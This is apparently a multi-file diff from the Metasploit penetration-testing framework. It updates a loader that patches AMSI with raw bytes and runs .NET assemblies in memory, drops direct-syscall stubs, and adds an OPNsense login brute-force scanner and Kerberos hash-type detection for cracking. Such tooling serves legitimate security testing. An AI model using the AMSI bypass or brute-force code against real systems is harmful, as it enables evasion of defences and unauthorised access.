EXTERN_C NTSTATUS ZwReadVirtualMemory10_4(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
#endif
EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
NTSTATUS(*ZwProtectVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID* BaseAddress,
IN SIZE_T* NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection
);
NTSTATUS(*ZwReadVirtualMemory)(
HANDLE hProcess,
PVOID lpBaseAddress,
PVOID lpBuffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead
);
NTSTATUS(*ZwWriteVirtualMemory)(
HANDLE hProcess,
PVOID lpBaseAddress,
PVOID lpBuffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
pNtProtectVirtualMemory ZwProtectVirtualMemory;
pNtWriteVirtualMemory ZwWriteVirtualMemory;
pNtReadVirtualMemory ZwReadVirtualMemory;
ULONG NTAPI MyEtwEventWrite(
__in REGHANDLE RegHandle,
+25 -52
View File
@@ -29,11 +29,9 @@ unsigned char uHook[] = {
#ifdef _X32
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
SIZE_T patchsize = 8;
#endif
#ifdef _X64
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
SIZE_T patchsize = 6;
#endif
struct Metadata
@@ -62,11 +60,13 @@ int executeSharp(LPVOID lpPayload)
_AssemblyPtr pAssembly = NULL;
SAFEARRAYBOUND rgsabound[1];
_MethodInfoPtr pMethodInfo = NULL;
SAFEARRAY* pSafeArray = NULL;
VARIANT retVal;
VARIANT obj;
SAFEARRAY* psaStaticMethodArgs;
SAFEARRAY* psaEntryPointParameters;
SAFEARRAY* psaStaticMethodArgs = NULL;
SAFEARRAY* psaEntryPointParameters = NULL;
VARIANT vtPsa;
HANDLE pipe = NULL;
char* pipeName = NULL;
char* appdomainName = NULL;
@@ -106,7 +106,8 @@ int executeSharp(LPVOID lpPayload)
// Convert to wchar
clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];
mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1);
size_t converted= 0;
mbstowcs_s(&converted, clrVersion_w, metadata.clrVersionLength + 1, clrVersion, metadata.clrVersionLength + 1);
arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;
memcpy(arg_s, data_ptr, metadata.argsSize);
@@ -115,7 +116,7 @@ int executeSharp(LPVOID lpPayload)
////////////////// Hijack stdout
// Create a pipe to send data
HANDLE pipe = CreateNamedPipeA(
pipe = CreateNamedPipeA(
pipeName, // name of the pipe
PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only
PIPE_TYPE_BYTE, // send data as a message stream
@@ -147,7 +148,7 @@ int executeSharp(LPVOID lpPayload)
rgsabound[0].cElements = metadata.assemblySize;
rgsabound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
void* pvData = NULL;
hr = SafeArrayAccessData(pSafeArray, &pvData);
@@ -245,7 +246,7 @@ int executeSharp(LPVOID lpPayload)
// Convert to wchar
appdomainName_w = new wchar_t[metadata.appdomainLength+1];
mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1);
mbstowcs_s(&converted, appdomainName_w, metadata.appdomainLength + 1, appdomainName, metadata.appdomainLength + 1);
hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);
@@ -344,7 +345,7 @@ int executeSharp(LPVOID lpPayload)
wtext[1] = L' '; // Separator
mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize);
mbstowcs_s(&converted, wtext+2, metadata.argsSize, (char*)arg_s, metadata.argsSize);
szArglist = CommandLineToArgvW(wtext, &nArgs);
free(wtext);
@@ -353,12 +354,11 @@ int executeSharp(LPVOID lpPayload)
for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name
{
size_t converted;
size_t strlength = wcslen(szArglist[i]) + 1;
OLECHAR* sOleText1 = new OLECHAR[strlength];
char* buffer = (char*)malloc(strlength * sizeof(char));
wcstombs(buffer, szArglist[i], strlength);
wcstombs_s(&converted, buffer, strlength, szArglist[i], strlength);
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
BSTR strParam1 = SysAllocString(sOleText1);
@@ -388,9 +388,11 @@ int executeSharp(LPVOID lpPayload)
Cleanup:
FlushFileBuffers(pipe);
DisconnectNamedPipe(pipe);
CloseHandle(pipe);
if (pipe != NULL) {
FlushFileBuffers(pipe);
DisconnectNamedPipe(pipe);
CloseHandle(pipe);
}
if (pEnumerator) {
pEnumerator->Release();
@@ -445,7 +447,9 @@ VOID Execute(LPVOID lpPayload)
AllocConsole();
HWND wnd = GetConsoleWindow();
if (wnd)
{
ShowWindow(wnd, SW_HIDE);
}
}
HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);
@@ -458,40 +462,9 @@ VOID Execute(LPVOID lpPayload)
}
INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {
PNT_TIB pTIB = NULL;
PTEB pTEB = NULL;
PPEB pPEB = NULL;
// Get pointer to the TEB
pTIB = (PNT_TIB)__readgsqword(0x30);
pTEB = (PTEB)pTIB->Self;
// Get pointer to the PEB
pPEB = (PPEB)pTEB->ProcessEnvironmentBlock;
if (pPEB == NULL) {
return -1;
}
if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
}
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
}
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
}
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
}
else {
return -2;
}
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
ZwProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
ZwWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
LPVOID lpBaseAddress = lpFuncAddress;
ULONG OldProtection, NewProtection;
@@ -555,13 +528,13 @@ BOOL PatchAmsi(HANDLE pipe)
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {
HRESULT hr;
ULONG fetched = 0;
DWORD vbSize;
DWORD vbSize = 260;
BOOL retval = FALSE;
wchar_t currentversion[260];
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)&pRuntimeInfo, &fetched)) && fetched > 0)
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)pRuntimeInfo, &fetched)) && fetched > 0)
{
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
hr = ((ICLRRuntimeInfo*)*pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
if (!FAILED(hr))
{
if (wcscmp(currentversion, version) == 0)
@@ -570,7 +543,7 @@ BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInf
break;
}
}
((ICLRRuntimeInfo*)pRuntimeInfo)->Release();
((ICLRRuntimeInfo*)*pRuntimeInfo)->Release();
}
return retval;
+1 -1
View File
@@ -19,5 +19,5 @@ using namespace mscorlib;
VOID Execute(LPVOID lpPayload);
BOOL FindVersion(void * assembly, int length);
BOOL PatchAmsi(HANDLE pipe);
BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo);
BOOL ClrIsLoaded(LPCWSTR versione, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo);
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch, int patchsize);
@@ -79,11 +79,13 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)$(Platform)</TargetName>
<OutDir>..\..\..\..\data\post\execute-dotnet-assembly\</OutDir>
<IntDir>$(Configuration)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<TargetName>$(ProjectName)$(Platform)</TargetName>
<OutDir>..\..\..\..\data\post\execute-dotnet-assembly</OutDir>
<OutDir>..\..\..\..\data\post\execute-dotnet-assembly\</OutDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@@ -111,25 +113,30 @@
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>_X32;WIN32;NDEBUG;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalLibraryDirectories>C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>C:\Program Files %28x86%29\Microsoft Visual Studio 14.0\VC\lib</AdditionalLibraryDirectories>
<AdditionalDependencies>libucrt.lib;
libvcruntime.lib;libcmt.lib;%(AdditionalDependencies)</AdditionalDependencies>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<WarningLevel>Level4</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
@@ -137,6 +144,7 @@
<PreprocessorDefinitions>_X64;WIN32;NDEBUG;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<CompileAs>Default</CompileAs>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -167,12 +175,6 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Syscalls.asm">
<FileType>Document</FileType>
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
@@ -55,7 +55,10 @@
</ClCompile>
</ItemGroup>
<ItemGroup>
<MASM Include="Syscalls.asm">
<MASM Include="Syscalls_32.asm">
<Filter>Sources</Filter>
</MASM>
<MASM Include="Syscalls_64.asm">
<Filter>Sources</Filter>
</MASM>
</ItemGroup>
@@ -3,7 +3,7 @@
#include <Windows.h>
typedef NTSTATUS
(*NtQueueApcThread)(
(NTAPI *NtQueueApcThread)(
HANDLE ThreadHandle,
PVOID ApcRoutine,
ULONG_PTR SystemArgument1,
@@ -11,7 +11,6 @@ typedef NTSTATUS
ULONG_PTR SystemArgument3
);
VOID ReflectiveFree(HINSTANCE hAppInstance) {
NtQueueApcThread pNtQueueApcThread = (NtQueueApcThread)GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtQueueApcThread");
HANDLE hThread = NULL;
@@ -28,20 +27,30 @@ VOID ReflectiveFree(HINSTANCE hAppInstance) {
// open a real handle to this thread to pass in the APC so it operates on this thread and not itself
hThisThread = OpenThread(THREAD_QUERY_INFORMATION | SYNCHRONIZE, FALSE, GetCurrentThreadId());
if (!hThisThread)
{
break;
}
// The other thread will:
// - Wait for us: WaitForSingleObjectEx(hThisThread, INFINITE, FALSE);
// - Close the handle we opened: CloseHandle(hThisThread);
// - Free the memory: VirtualFree(hAppInstance, 0, MEM_RELEASE);
// tell that thread to wait on this thread, ensures VirtualFree isn't called until this thread has exited
NTSTATUS status = pNtQueueApcThread(hThread, WaitForSingleObjectEx, (ULONG_PTR)hThisThread, INFINITE, FALSE);
// then close the handle so it's not leaked
DWORD result = QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread);
QueueUserAPC((PAPCFUNC)CloseHandle, hThread, (ULONG_PTR)hThisThread);
// then free the memory
status = pNtQueueApcThread(hThread, VirtualFree, (ULONG_PTR)hAppInstance, 0, MEM_RELEASE);
ResumeThread(hThread);
} while (FALSE);
if (hThread)
{
CloseHandle(hThread);
}
}
VOID ReflectiveFreeAndExitThread(HINSTANCE hAppInstance, DWORD dwExitCode) {
@@ -1,97 +0,0 @@
.code
; Reference: https://j00ru.vexillium.org/syscalls/nt/64/
; Windows 7 SP1 / Server 2008 R2 specific syscalls
ZwProtectVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 4Dh
syscall
ret
ZwProtectVirtualMemory7SP1 endp
ZwWriteVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 37h
syscall
ret
ZwWriteVirtualMemory7SP1 endp
ZwReadVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 3Ch
syscall
ret
ZwReadVirtualMemory7SP1 endp
; Windows 8 / Server 2012 specific syscalls
ZwProtectVirtualMemory80 proc
mov r10, rcx
mov eax, 4Eh
syscall
ret
ZwProtectVirtualMemory80 endp
ZwWriteVirtualMemory80 proc
mov r10, rcx
mov eax, 38h
syscall
ret
ZwWriteVirtualMemory80 endp
ZwReadVirtualMemory80 proc
mov r10, rcx
mov eax, 3Dh
syscall
ret
ZwReadVirtualMemory80 endp
; Windows 8.1 / Server 2012 R2 specific syscalls
ZwProtectVirtualMemory81 proc
mov r10, rcx
mov eax, 4Fh
syscall
ret
ZwProtectVirtualMemory81 endp
ZwWriteVirtualMemory81 proc
mov r10, rcx
mov eax, 39h
syscall
ret
ZwWriteVirtualMemory81 endp
ZwReadVirtualMemory81 proc
mov r10, rcx
mov eax, 3Eh
syscall
ret
ZwReadVirtualMemory81 endp
; Windows 10 / Server 2016 specific syscalls
ZwProtectVirtualMemory10 proc
mov r10, rcx
mov eax, 50h
syscall
ret
ZwProtectVirtualMemory10 endp
ZwWriteVirtualMemory10 proc
mov r10, rcx
mov eax, 3Ah
syscall
ret
ZwWriteVirtualMemory10 endp
ZwReadVirtualMemory10 proc
mov r10, rcx
mov eax, 3Fh
syscall
ret
ZwReadVirtualMemory10 endp
end
+1 -1
View File
@@ -3,7 +3,7 @@ IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
IF "%1"=="X64" GOTO BUILD_X64
ECHO "Building HostingCLR x64 (Release)"
ECHO "Building HostingCLR All Platforms (Release)"
SET PLAT=all
GOTO RUN
+5 -1
View File
@@ -4,8 +4,12 @@
<SolutionPath>.\HostingCLR.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x64" />
<Target Name="all" DependsOnTargets="x64;Win32" />
<Target Name="Win32">
<Message Text="Building HostingCLR x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building HostingCLR x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
+4 -2
View File
@@ -191,13 +191,15 @@ module Anemone
url.scheme == "https",
@opts[:ssl_version],
@opts[:proxies],
@opts[:username],
@opts[:password]
@opts[:username],
@opts[:password],
subscriber: @opts[:http_subscriber]
)
conn.set_config(
'vhost' => virtual_host(url),
'agent' => user_agent,
'ssl_server_name_indication' => @opts[:ssl_server_name_indication],
'domain' => @opts[:domain]
)
+8
View File
@@ -128,6 +128,14 @@ module Metasploit
return 'pbkdf2-sha256'
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
return 'timeroast'
when hash =~ /^\$krb5tgs\$23\$\*.+\$[\da-fA-F]{32}\$[\da-fA-F]+$/
return 'krb5tgs-rc4'
when hash =~ /^\$krb5tgs\$18\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/
return 'krb5tgs-aes256'
when hash =~ /^\$krb5tgs\$17\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/
return 'krb5tgs-aes128'
when hash =~ /^\$krb5asrep\$23\$[^:]+:[\da-fA-F]{32}\$[\da-fA-F]+$/
return 'krb5asrep-rc4'
end
''
end
@@ -45,6 +45,9 @@ module Metasploit
# @!attribute bruteforce_speed
# @return [Integer] The desired speed, with 5 being 'fast' and 0 being 'slow.'
attr_accessor :bruteforce_speed
# @!attribute sslkeylogfile
# @return [String] The SSL key log file path
attr_accessor :sslkeylogfile
validates :connection_timeout,
presence: true,
@@ -87,8 +87,11 @@ module Metasploit
# It doesn't appear to be documented anywhere, but Microsoft gives us a bit
# of extra information in the e-data section
begin
pa_data_entry = krb_err.res.e_data_as_pa_data_entry
if pa_data_entry && pa_data_entry.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_PW_SALT
pa_data_entry = krb_err.res.e_data_as_pa_data.find do |pa_data|
pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_PW_SALT
end
if pa_data_entry
pw_salt = pa_data_entry.decoded_value
if pw_salt.nt_status
case pw_salt.nt_status.value
@@ -107,7 +110,7 @@ module Metasploit
Metasploit::Model::Login::Status::DISABLED
end
else
Metasploit::Model::Login::Status::DISABLED
Metasploit::Model::Login::Status::DISABLED
end
rescue Rex::Proto::Kerberos::Model::Error::KerberosDecodingError
# Could be a non-MS implementation?
@@ -77,7 +77,7 @@ module Metasploit
}
begin
client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port, proxies)
client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port, proxies, sslkeylogfile: sslkeylogfile)
if client.mssql_login(credential.public, credential.private, '', credential.realm)
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
if use_client_as_proof
@@ -0,0 +1,138 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with Deciso B.V. OPNSense instances.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class OPNSense < HTTP
# Retrieve the wanted cookie value by name from the HTTP response.
#
# @param [Rex::Proto::Http::Response] response The response from which to extract cookie values
# @param [String] wanted_cookie_name The cookie name for which to get the value
def get_cookie_value(response, wanted_cookie_name)
response.get_cookies.split('; ').find { |cookie| cookie.start_with?(wanted_cookie_name) }.split('=').last
end
# Checks if the target is OPNSense. The login module should call this.
#
# @return [Boolean, String] FalseClass if target is OPNSense, otherwise String
def check_setup
request_params = {
'method' => 'GET',
'uri' => normalize_uri(@uri.to_s)
}
res = send_request(request_params)
if res && res.code == 200 && res.body&.include?('Login | OPNsense')
return false
end
"Unable to locate \"Login | OPNsense\" in body. (Is this really OPNSense?)"
end
# Query the magic value and cookies from the OPNSense login page.
#
# @return [Hash<Symbol, Object>] A hash of the status and error or result.
def query_magic_value_and_cookies
request_params = {
'method' => 'GET',
'uri' => normalize_uri(@uri.to_s)
}
res = send_request(request_params)
if res.nil?
return { status: :failure, error: 'Did not receive response to a GET request' }
end
if res.code != 200
return { status: :failure, error: "Unexpected return code from GET request - #{res.code}" }
end
if res.body.nil?
return { status: :failure, error: 'Received an empty body from GET request' }
end
# The magic name and value are hidden on the login form, so we extract them using get_html_document
form_input = res.get_html_document&.at('input')
if form_input.nil? || form_input['type'] != 'hidden'
return { status: :failure, error: 'Could not find hidden magic field in the login form.' }
end
magic_value = { name: form_input['name'], value: form_input['value'] }
cookies = "PHPSESSID=#{get_cookie_value(res, 'PHPSESSID')}; cookie_test=#{get_cookie_value(res, 'cookie_test')}"
{ status: :success, result: { magic_value: magic_value, cookies: cookies } }
end
# Each individual login needs their own magic name and value.
# This magic value comes from the login form received in response to a GET request to the login page.
# Each login attempt also requires specific cookies to be set, otherwise an error is returned.
#
# @param username Username
# @param password Password
# @param magic_value A hash containing the magic_value name and value
# @param cookies A cookie string
def try_login(username, password, magic_value, cookies)
request_params =
{
'method' => 'POST',
'uri' => normalize_uri(@uri.to_s),
'cookie' => cookies,
'vars_post' => {
magic_value[:name] => magic_value[:value],
'usernamefld' => username,
'passwordfld' => password,
'login' => '1'
}
}
{ status: :success, result: send_request(request_params) }
end
def attempt_login(credential)
result_options = {
credential: credential,
host: @host,
port: @port,
protocol: 'tcp',
service_name: 'opnsense'
}
# Each login needs its own magic name and value
magic_value_and_cookies = query_magic_value_and_cookies
if magic_value_and_cookies[:status] != :success
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNTRIED, proof: magic_value_and_cookies[:error])
return Result.new(result_options)
end
login_result = try_login(credential.public, credential.private, magic_value_and_cookies[:result][:magic_value], magic_value_and_cookies[:result][:cookies])
if login_result[:result].nil?
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense')
return Result.new(result_options)
end
# 200 is incorrect result
if login_result[:result].code == 200 || login_result[:result].body.include?('Username or Password incorrect')
result_options.merge!(status: ::Metasploit::Model::Login::Status::INCORRECT, proof: 'Username or Password incorrect')
return Result.new(result_options)
end
login_status = login_result[:result].code == 302 ? ::Metasploit::Model::Login::Status::SUCCESSFUL : ::Metasploit::Model::Login::Status::INCORRECT
result_options.merge!(status: login_status, proof: login_result[:result])
Result.new(result_options)
rescue ::Rex::ConnectionError => _e
result_options.merge!(status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to OPNSense')
return Result.new(result_options)
end
end
end
end
end
+19 -1
View File
@@ -38,8 +38,9 @@ class TDSSSLProxy
TYPE_PRE_LOGIN_MESSAGE = 18
STATUS_END_OF_MESSAGE = 0x01
def initialize(sock)
def initialize(sock, sslkeylogfile: nil)
@tdssock = sock
@sslkeylogfile = sslkeylogfile
@s1, @s2 = Rex::Socket.tcp_socket_pair
end
@@ -48,10 +49,27 @@ class TDSSSLProxy
@t1.join
end
def write_to_keylog_file(ctx, sslkeylogfile)
# writing to the sslkeylogfile is required, it adds support for network capture decryption which is useful to
# decrypt TLS traffic in wireshark
if sslkeylogfile
unless ctx.respond_to?(:keylog_cb)
raise 'Unable to create sslkeylogfile - Ruby 3.2 or above required for this functionality'
end
ctx.keylog_cb = proc do |_sock, line|
File.open(sslkeylogfile, 'ab') do |file|
file.write("#{line}\n")
end
end
end
end
def setup_ssl
@running = true
@t1 = Thread.start { ssl_setup_thread }
ctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
write_to_keylog_file(ctx, @sslkeylogfile)
ctx.ciphers = "ALL:!ADH:!EXPORT:!SSLv2:!SSLv3:+HIGH:+MEDIUM"
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ctx)
@ssl_socket.connect
+2 -2
View File
@@ -128,7 +128,7 @@ module Metasploit
def get_hash_history(data)
raw_history = data.slice!(0,HASH_HISTORY_SIZE)
split_history = raw_history.scan(/.{1,33}/)
split_history.map!{ |hash| hash.gsub(/\x00/,'')}
split_history.map!{ |hash| hash.gsub("\x00",'')}
split_history.reject!{ |hash| hash.blank? }
end
@@ -137,7 +137,7 @@ module Metasploit
end
def get_string(data,length)
data.slice!(0,length).force_encoding("UTF-8").gsub(/\x00/,'')
data.slice!(0,length).force_encoding("UTF-8").gsub("\x00",'')
end
def uac_string
@@ -133,6 +133,8 @@ module Metasploit
nil
when /^krb5$/
return "#{cred.id}:#{cred.private.data}"
when /^(krb5.|timeroast$)/
return cred.private.data
end
end
nil
@@ -78,6 +78,8 @@ module Metasploit
when /vnc/
# add a beginning * if one is missing
return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}"
when /^(krb5.|timeroast$)/
return cred.private.data
else
# /mysql|mysql-sha1/
# /mssql|mssql05|mssql12/
+1 -1
View File
@@ -52,7 +52,7 @@ module Metasploit
info = info.map { |item| item.strip }
info = info.join(', ').to_s
# Windows
elsif info =~ /command not found|is not recognized as an internal or external command/
elsif info =~ /command not found|is not recognized as an internal or external command|is not recognized as the name of a cmdlet, function, script file, or operable/
info = ssh_socket.exec!("systeminfo\n").to_s
/OS Name:\s+(?<os_name>.+)$/ =~ info
/OS Version:\s+(?<os_num>.+)$/ =~ info
+1
View File
@@ -89,6 +89,7 @@ module Metasploit
'SSL' => dossl,
'SSLVersion' => opts['SSLVersion'] || ssl_version,
'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode,
'SSLKeyLogFile' => opts['SSLKeyLogFile'] || sslkeylogfile,
'SSLCipher' => opts['SSLCipher'] || ssl_cipher,
'Proxies' => proxies,
'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.4.60"
VERSION = "6.4.71"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

Some files were not shown because too many files have changed in this diff Show More